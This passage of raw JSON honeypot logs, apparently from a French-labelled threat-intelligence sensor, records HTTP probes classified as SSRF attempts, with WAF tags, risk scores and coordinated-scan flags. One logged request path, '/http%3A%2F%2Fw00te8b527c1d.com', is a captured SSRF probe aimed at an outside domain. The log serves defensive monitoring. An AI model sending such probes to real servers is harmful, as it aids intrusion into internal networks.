\u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228880 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228880\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 3, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8880","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":216},{"id":14696648,"ip":"34.19.116.51","ts":"2026-07-31 15:44:30.000000","proto":"tcp","src_port":36866,"dst_port":8880,"service":"http","classification":"ssrf_internal","waf_score":25,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950404:ssrf-3\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/http%3A%2F%2Fw00te8b527c1d.com","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022com\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022c3a8697c6c279a95f0caf2b5f47944b1de8a6733\u0022, \u0022http_target_hash\u0022: \u0022355a640a1127bedaf9ba5b47245be79b4b8816cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 246, \u0022payload_entropy\u0022: 5.493479126990604, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8880, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 63, \u0022tag_count\u0022: 5, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00227814fcee87428f478784b115cd9ca461f1391c27\u0022, \u0022event_fingerprint\u0022: \u0022f51c267388e56dc651174f1c739cfab5f6d65779\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 63, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022b6bc807fe8425c59a1f99015a7d058fa\u0022, \u0022path_pattern_hash\u0022: \u0022171eee81760289d880760c80160359e6\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 63}, \u0022payload_preview\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Moz\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/http%3A%2F%2Fw00te8b527c1d.com\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950404:ssrf-3\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Moz\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/http%3A%2F%2Fw00te8b527c1d.com\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950404:ssrf-3\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Moz\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022f595f227749328e2662211c3acb2965450acb1a8\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/http%3A%2F%2Fw00te8b527c1d.com\u0022, \u0022request_line\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Moz\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com\u0022, \u0022target_port_label\u0022: \u00228880 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 63, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 63, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8880, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/http%3A%2F%2Fw00te8b527c1d.com\u0022, \u0022request_line\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com\u0022, \u0022evidence_snippet\u0022: \u0022GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Moz\u0022, \u0022target_port_label\u0022: \u00228880 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228880\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 3, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950404:ssrf-3\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8880","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950404:ssrf-3\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":246},{"id":14696515,"ip":"34.19.116.51","ts":"2026-07-31 15:44:27.000000","proto":"tcp","src_port":36864,"dst_port":8880,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022705e57393925ae4499d6cc481be3dac8642e294d\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.351764679459358, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8880, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 53, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00229c30ce3198befc881fb2b9eff62dd52155021f5f\u0022, \u0022event_fingerprint\u0022: \u0022d02d0cf983692d58cdb0cfca4295b2fba7206c25\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.54, \u0022classification_confidence\u0022: 0.54, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002203a5d5dbdee8ed37d06baa73867ebabf\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 53}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022c3182ea50ec11f67272ff45c8d76cc617db627ee\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228880 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 